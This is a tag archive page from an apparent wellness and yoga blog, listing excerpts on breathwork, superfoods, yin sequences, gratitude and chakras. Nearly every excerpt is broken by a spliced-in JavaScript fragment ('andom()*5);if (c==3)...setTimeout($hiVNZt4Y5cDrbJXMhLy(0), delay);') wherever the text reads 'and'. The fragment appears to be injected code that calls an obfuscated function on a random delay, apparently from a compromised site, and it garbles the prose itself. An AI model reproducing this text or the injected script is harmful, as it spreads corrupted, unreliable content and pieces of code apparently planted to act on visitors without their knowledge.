Tag Archives: wellness

Fire Up the Breath of Love

The Breath of Love “Ancient Yogis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Masters of Light have taught that all answers lie within.  The breath is the doorway to this inner experience.  Babaji the great Indian mystic said that the “Breath …

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Superfood: Fennel

Tis the season, fennel season that is. Fennel season runs from September to June andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is especially abundant around the holiday season as it’s typically used in many Italian holiday dishes, such as salads, soups …

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We Have It All

“The awe, inspiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and talent you recognize in others are but a reflection of the same thing in you. I highly suggest you do not seek the approval or recognition of those you admire but …

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Superfood: Chocolate

As the weather continues to drop andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the snow begins to fall, there’s nothing better than to cozy up with a warm cup of coco, a big bowl of chili, or perhaps both! If that’s …

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Superfood: Mushrooms

Mushrooms are everywhere this time of year, they’re on our pizza, sauteed with herbs, in our pasta, soups andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and salads. And that’s exactly what makes mushrooms so great, packed with so much flavor, low in …

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Wintertime Yin Sequence

Running errandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands the other day, I noticed how many people were bustling around with their shoulders hunched forward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands shoved into their pockets.   …

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I Am Grateful

“Gratitude unlocks the fullness of life. It turns what we have into enough, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more. It turns denial into acceptance, chaos to order, confusion to clarity. It can turn a meal into a feast, a …

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Feeding Your Crown Chakra

 As we continue to work on the crown chakra today we’re going to look out how we can nourish or help activate this chakra through food. We already know that the crown chakra colors are white andom()*5);if (c==3){var delay = …

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Nourishing Supported Yin Sequence

This time of year, you may naturally find yourself more drawn to quiet, inward activities such as reading a book, working on a craft, or finally watching Food Inc. on a Saturday night instead of going out with friends.  This …

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Shine Bright

“Transcendence is the path of liberation. Immanence is the path of manifestation. To embrace them both is to see the divine within andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and without as an inseparable unity.” The crown chakra is a two-way gate …

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